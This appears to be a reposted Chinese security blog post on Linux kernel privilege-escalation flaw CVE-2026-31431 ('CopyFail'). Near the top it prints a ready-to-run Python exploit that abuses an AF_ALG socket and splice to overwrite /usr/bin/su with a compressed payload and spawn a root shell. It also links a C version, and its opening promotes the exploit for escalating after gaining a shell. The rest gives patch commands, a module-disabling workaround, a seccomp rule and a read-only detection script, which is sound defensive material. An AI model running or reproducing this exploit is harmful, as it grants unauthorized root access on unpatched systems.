文章总结: 文档披露Linux内核CVE-2026-31431(CopyFail)本地权限提升漏洞,提供Python/C版本漏洞利用脚本,并给出三种修复方案:升级内核至6.18.22+/6.19.12+并重启、临时禁用algifaead模块、容器环境配置seccomp策略阻断AFALG套接字。附赠自动化检测脚本用于评估系统风险等级。 综合评分: 85 文章分类: 漏洞分析,漏洞预警,解决方案,安全工具,应急响应
Linux又出“金色传说”,速修!自检脚本、利用脚本自取!
FL_Clover FL_Clover
网络安全007
2026年4月30日 16:17 广东
在小说阅读器读本章
去阅读
一、【漏洞情报速递说明】
今早起来,各大朋友圈以及群聊已经炸开,听说Linux又出金了,时隔不久,看来对于内网需要提取的小伙伴们又开心了,接下来HW的时候遇到shell的时候何又尝不是一个提权好手!
还有大手子已经开始各种版本的利用工具编写,技术深度分析,简要复现方式以及提醒各位的修复方式……
1.POC官方已出
#!/usr/bin/env python3import os as g,zlib,socket as sdef d(x):return bytes.fromhex(x)def c(f,t,c): a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o) try:u.recv(8+t) except:0f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))while i<len(e):c(f,i,e[i:i+4]);i+=4g.system("su")
2.崇拜的大手子也出了C版本的利用脚本
安全社大手子脚本下载地址:https://github.com/0xShe/CVE-2026-31431
3.修复方式
(1)官方补丁已合并至Linux主线内核(提交号 a664bf3d603d),必须重启生效。不同发行版操作如下:
##Ubuntu/Debiansudo apt update && sudo apt full-upgrade -ysudo reboot##RHEL/CentOS/Rocky/Alma Linuxsudo dnf update kernel -ysudo reboot##Amazon Linux 2023sudo dnf update kernel -ysudo reboot##SUSE/openSUSEsudo zypper refresh && sudo zypper patch -ysudo reboot
重启完别忘了验证一下,也有部分失败的案例,稳妥为上。
#升级后确认内核版本:uname -r#输出需包含补丁提交号 a664bf3d603d 或更高(如 6.18.22+、6.19.12+ 等)。#检查模块状态:lsmod | grep algif_aead#应无输出,表示模块未被加载(补丁已回退问题逻辑)#进一步验证grep -r "a664bf3d603d" /proc/version 2>/dev/null || uname -r #验证一下是否包含修复commit,以及对比发行版官方公告中的修复版本号
(2)临时缓解措施
禁用 algif_aead 内核模块,临时阻断攻击面,但仍存在风险,需要注意。
echo "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/disable-algif-aead.confsudo rmmod algif_aead 2>/dev/null || true
(3)容器/云环境额外防护
配置seccomp策略,在Kubernetes或Docker中禁止创建 AF_ALG 套接字(family=38)
"syscalls": [{ "names": ["socket"], "action": "SCMP_ACT_ERRNO", "args": [{"index": 0, "value": 38, "op": "SCMP_CMP_EQ"}]}]
4.参考资料&文章:
[1].https://copy.fail/
[2].https://github.com/theori-io/copy-fail-CVE-2026-31431
[3].https://github.com/0xShe/CVE-2026-31431
二、【自检脚本】
自行保存文件为.sh文件,给个执行权限即可。
#!/bin/bash# CVE-2026-31431 (Copy Fail) 漏洞检测脚本# by wangluoanquan007 | 安全无害,仅执行只读检测# 用法:bash check_cve-2026-31431.shRED='\033[0;31m'GREEN='\033[0;32m'YELLOW='\033[0;33m'NC='\033[0m' # 重置颜色echo -e "${YELLOW}===== CVE-2026-31431 (Copy Fail) 漏洞检测脚本 =====${NC}"echo -e "检测原理:1. 检查内核版本 2. 验证 algif_aead 模块状态 3. 安全测试 AF_ALG 套接字(仅检测不利用)\n"# 1. 检查内核版本是否低于安全阈值kernel_vuln=0kernel_version=$(uname -r | cut -d'-' -f1)major=$(echo "$kernel_version" | cut -d. -f1)minor=$(echo "$kernel_version" | cut -d. -f2)patch=$(echo "$kernel_version" | cut -d. -f3 | grep -o '^[0-9]*')# 安全内核版本:主线 >=6.18.22 或 >=6.19.12(补丁提交 a664bf3d603d)is_safe_kernel() { if [ "$major" -gt 6 ]; then return 0; fi if [ "$major" -eq 6 ] && [ "$minor" -gt 19 ]; then return 0; fi if [ "$major" -eq 6 ] && [ "$minor" -eq 19 ] && [ "$patch" -ge 12 ]; then return 0; fi if [ "$major" -eq 6 ] && [ "$minor" -eq 18 ] && [ "$patch" -ge 22 ]; then return 0; fi return 1}if is_safe_kernel; then echo -e "[✓] 内核版本 ${kernel_version} 已修复漏洞(安全阈值:6.18.22+/6.19.12+)"else echo -e "[${RED}✗${NC}] 内核版本 ${kernel_version} 受影响!需升级至 6.18.22+ 或 6.19.12+" kernel_vuln=1fi# 2. 检查 algif_aead 模块是否可加载modprobe -n -q algif_aead 2>/dev/nullmodule_loadable=$?if [ $module_loadable -eq 0 ]; then echo -e "[${RED}✗${NC}] algif_aead 模块可加载(存在攻击面)"else echo -e "[✓] algif_aead 模块已禁用(无攻击面)"fi# 3. 安全测试 AF_ALG 套接字(仅创建后立即关闭,不执行写操作)af_alg_test() { python3 -c "import socket; s=socket.socket(38,1,0); s.close(); print('SUCCESS')" 2>/dev/null return $?}if af_alg_test; then echo -e "[${RED}✗${NC}] 系统允许创建 AF_ALG 套接字(family=38),存在漏洞利用条件" vuln_exploitable=1else echo -e "[✓] AF_ALG 套接字已被阻断(安全)" vuln_exploitable=0fi# 4. 综合风险评估echo -e "\n${YELLOW}===== 风险评估 =====${NC}"if [ $kernel_vuln -eq 0 ] && [ $vuln_exploitable -eq 0 ]; then echo -e "${GREEN}[安全] 系统已修复漏洞,无需操作${NC}"elif [ $kernel_vuln -eq 1 ] && [ $vuln_exploitable -eq 1 ]; then echo -e "${RED}[高危] 内核未修复且存在攻击面!请立即升级内核${NC}" echo -e "修复命令:sudo apt update && sudo apt full-upgrade -y && sudo reboot # Ubuntu/Debian" echo -e " sudo dnf update kernel -y && sudo reboot # RHEL/CentOS"elif [ $kernel_vuln -eq 1 ] && [ $vuln_exploitable -eq 0 ]; then echo -e "${YELLOW}[中危] 内核未修复但攻击面已阻断(临时缓解生效)${NC}" echo -e "建议:仍需升级内核(临时措施无法彻底修复)"else echo -e "${GREEN}[安全] 攻击面已阻断,但建议升级内核以彻底修复${NC}"fi# 5. 附加信息echo -e "\n${YELLOW}附加说明:${NC}"echo "• 本脚本仅检测不利用,不会触发实际漏洞"echo "• 临时禁用攻击面命令:echo 'install algif_aead /bin/false' | sudo tee /etc/modprobe.d/disable-algif-aead.conf"
三、【广告时间】
免责声明:
本文章仅做网络安全技术研究使用!另利用网络安全007公众号所提供的所有信息进行违法犯罪或造成任何后果及损失,均由使用者自身承担负责,与网络安全007公众号无任何关系,也不为其负任何责任,请各位自重!公众号发表的一切文章如有侵权烦请私信联系告知,我们会立即删除并对您表达最诚挚的歉意!感谢您的理解!让我们一起为中国网络安全事业尽一份自己的绵薄之力!
—推荐阅读—
攻防演习系列
渗透技术文章系列
未授权漏洞系列
HW专项系列
应急响应系列
工具推荐系列
写作不易,分享快乐
期待你的 分享●点赞●在看●关注●收藏****
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:网络安全007 FLClover FLClover《Linux又出“金色传说”,速修!自检脚本、利用脚本自取!》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。







评论